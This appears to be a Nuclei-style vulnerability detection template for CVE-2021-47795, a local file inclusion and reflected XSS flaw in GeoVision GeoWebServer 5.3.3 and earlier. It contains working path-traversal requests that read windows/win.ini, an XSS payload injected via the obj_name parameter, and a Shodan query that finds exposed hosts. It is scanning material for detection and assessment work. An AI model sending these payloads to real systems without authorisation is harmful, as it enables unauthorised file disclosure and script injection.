GeoVision GeoWebServer <= 5.3.3 - Local File Inclusion / Cross-Site Scripting

id: CVE-2021-47795

info:
  name: GeoVision GeoWebServer <= 5.3.3 - Local File Inclusion / Cross-Site Scripting
  author: shamo0
  severity: high
  description: |
    GeoVision GeoWebServer 5.3.3 and prior is vulnerable to local file inclusion and cross-site scripting due to improper sanitization of user-supplied input in the WebStrings.srf endpoint. An unauthenticated attacker can read arbitrary files from the server or inject malicious scripts.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server via path traversal, or execute arbitrary JavaScript in the victim's browser via reflected XSS.
  remediation: |
    Contact GeoVision support for a patched firmware version that addresses the input sanitization issues.
  reference:
    - https://www.exploit-db.com/exploits/50211
    - https://www.geovision.com.tw/cyber_security.php
    - https://nvd.nist.gov/vuln/detail/CVE-2021-47795
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2021-47795
    epss-score: 0.02615
    epss-percentile: 0.83813
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    vendor: geovision
    product: geowebserver
    shodan-query: title:"Geowebserver"
  tags: cve,cve2021,geovision,geowebserver,lfi,xss,vuln,vkev

http:
  - raw:
      - |
        GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /Visitor/bin/WebStrings.srf?obj_name=win.ini HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

      - |
        GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows\win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: dsl
        name: lfi
        dsl:
          - 'contains_all(body, "for 16-bit", "[fonts]", "[extensions]")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        name: xss
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>={\"AeDebug")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220539330304c78529c9b91ec6f692d76d85be64e961cdf55873d5b8ca7327781bb022047df375462124c92ff0c4c1d05d7bc4397852e641454f7bdccd4a396888b3040:922c64590222798bb761d5b6d8e72950